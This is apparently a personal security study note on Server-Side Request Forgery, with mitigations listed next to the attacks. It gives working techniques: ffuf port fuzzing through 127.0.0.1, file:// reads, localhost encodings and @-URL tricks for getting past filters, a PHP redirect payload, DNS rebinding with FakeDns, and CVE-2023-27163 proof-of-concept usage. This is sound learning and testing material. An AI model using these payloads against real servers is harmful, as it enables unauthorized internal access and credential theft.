Server-Side Request Forgery (SSRF)

server_side_attacks modern_web_exploitation_techniques ssrfqi ssrfhr adventofcyber2 testingforssrf server_side_request_forgery

Server-Side Request Forgery (SSRF) is an attack in which a hacker can make a server request something from another server, usually an internal server or an API.

From instance, a website using an API. If there is a SSRF vulnerability, the hacker may be able to query the API by exploiting the website.

Common attack vectors

  • πŸ“š Headers (mostly User-Agent)
  • πŸ“„ Forms (internal API calls)
  • πŸͺ Cookies
  • 🌍 Remote connections (imports, file processing, etc.)

Common usages are:

  • πŸ—ΊοΈ Port mapping
  • πŸ—ΊοΈ Access internal services
  • πŸ’° Steal sensitive data
  • πŸ’₯ Perform a DoS

There are two kinds of SSRF

  • Regular/in-band SSRF: the client will see the result
  • Blind/out-band SSRF: nothing is returned to the client

Refer to request grabber to catch requests.


SSRF Attack Vectors

Remote URL Access

server_side_attacks ssrfhr ssrfqi surfer

The most common scenario is when a website requests an external resources using user input, such as an external avatar URL.

A common scenario is a PHP call to file_get_contents to access a remote file. You have similar functions in other languages.

You may be able to:

  • Map ports/services πŸ—ΊοΈ
  • Steal files πŸ’°

Remote API Endpoint Access

ssrfqi

If a website is making a request to an external API based on a endpoint controlled by the user, we may be able to access another unintended endpoint. Ex: website.a/?api=path $\to$ website.b/path.

You may be able to:

  • Access unintended API endpoints πŸ›£οΈ

Remote API Access

ssrfqi

If the programmer is using user input to determine which server will be queried, then the hacker may try to send the request to their servers instead, and get the API credentials inside the headers.

Ex: a?api=xxx&r=path $\to$ xxx.b/path

  • We send the request to https://xxx.thebestapi.example/path
  • If api=malicious_website.com?&ignore=, then the URL crafted is https://malicious_website.com?&ignore=.thebestapi.com/path!

You may be able to:

  • Steal API tokens/credentials πŸ’΅

SSRF Exploitation

Mapping ports/services πŸ—ΊοΈ

server_side_attacks ssrfqi ssrfhr

You may inject URLs such as http://localhost:22 to test if the port 22 is open. You can use fuzzing to enumerate all ports:

$ seq 1 65535 > ports.txt
$ ffuf -w ports.txt -u 'http://IP/?xxx=http://127.0.0.1:FUZZ' -fr 'Connection refused'

You could also make the server call http://ifconfig.pro/ to get some information (IP, DNS...) to perform more advanced attacks.

Access Internal Services πŸ—ΊοΈ

ssrfhr surfer

You may be able to query internal IPs or internal websites.

Steal files πŸ’°

server_side_attacks ssrfqi ssrfhr

You may inject URLs to steal a file. For instance, a URL using the file protocol: file://some/file/on/the/target.


Mitigations πŸ›‘οΈ

SSRF Mitigations β€” Overview

modern_web_exploitation_techniques ssrfqi ssrfhr

You should use strong access controls, network segmentation and firewalls, logging and monitoring to support input validation.


SSRF Mitigations β€” Allow List

ssrfqi ssrfhr

We define a set of allowed URLs/resources. It can be bypassed if the condition is too lax such as "The URL must start with https://example.com" which can be bypassed with:

  • https://example.com.malicious.website
  • https://example.com@malicious.website

Usually, we want to avoid manipulating URLs and instead determine the URL to use from the user input. It's not always possible.


SSRF Mitigations β€” Deny List

modern_web_exploitation_techniques ssrfqi ssrfhr

We define a set of forbidden URLs/resources while allowing every other. For instance, we allow every IP aside from 127.0.0.1 and 169.254.169.254. It can be bypassed too.

All of these addresses may resolve to, or are resolving to, 127.0.0.1.

  • 0, 00, 000[...]0, 0.0.0.0 (any IP, which may be localhost)
  • 2130706433 (decimal), 017700000001 (octal), 0x7f000001 (hex)
  • 127.1 (IP shortening), 127.00[...]00.1 (IP prolonging)
  • ::1, ::ffff:127.0.0.1 (IPV6)
  • 127.0.0.1.nip.io, localtest.me, lvh.me, etc.
  • ...

SSRF Mitigations β€” Resolve The Target

modern_web_exploitation_techniques

A good security would be to resolve the domain/IP to check the IP is resolving to a private IP network (or a specific denied network).

ip = socket.gethostbyname("example.com") # extracted from input
ip = ipaddress.ip_address(ip)
if ip in ipaddress.ip_network('127.0.0.0/8'): # check others!!!
    return False
if ipaddress.ip_address(ip).is_loopback:
    return False # only check if 127.0.0.1

There are two ways to bypass this. The first one is to use a HTML/PHP redirection. It only works if the victim is following HTTP redirections, which is not something unexpected as many websites use it.

<?php header('Location: http://127.0.0.1/'); ?>

The second one involves DNS Rebinding. If we can control the DNS configuration of the target, we can make it use a host hosting a DNS server we control. The target will usually resolve the input domain twice, during the check and during the resolution.

If the first time we return a DNS record such as 1.1.1.1 (to pass the check) with a low TTL, we can return the actual target IP such as 127.0.0.1 when the target need to resolve the URL we inputted.

  • Input: http://example.com/secret
  • The Hacker DNS Server
  • The Target Host (127.0.0.1, e.g., the vulnerable host, using the DNS above)

We can use rebinder (website), DNSrebinder (0.1k ⭐), FakeDns (0.5k ⭐), or singularity (1.0k ⭐, web client and GOLang server).

$ DEST="$HOME/tools/fakedns"
$ git clone -b "master" https://github.com/Crypt0s/FakeDns.git $DEST
$ ln -s $DEST/fakedns.py $HOME/.local/bin/fakedns
$ cat test.conf # 0% == switch after 1 request
A example.com 1.1.1.1 0%127.0.0.1
$ fakedns -c test.conf --rebind # Run The DNS Server

πŸ“š You can bind multiple domains for exfiltration using JavaScript. Fetch the data from a domain and sent it to another domain.


Example CVEs

CVE-2023-27163

sau

CVE in request-baskets. POC (shell script) (0.03k ⭐).

$ ./CVE-2023-27163.sh http://target:port http://listener:port 
Creating the "<backet>" proxy basket...
Basket created!
$ curl http://target:port/<backet> # sent to listener URL

It can be used to access a resource behind a firewall.

$ ./CVE-2023-27163.sh http://target:port http://target:fport 

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

Other attack vectors

  • avatar form
  • a script
  • a header
  • ...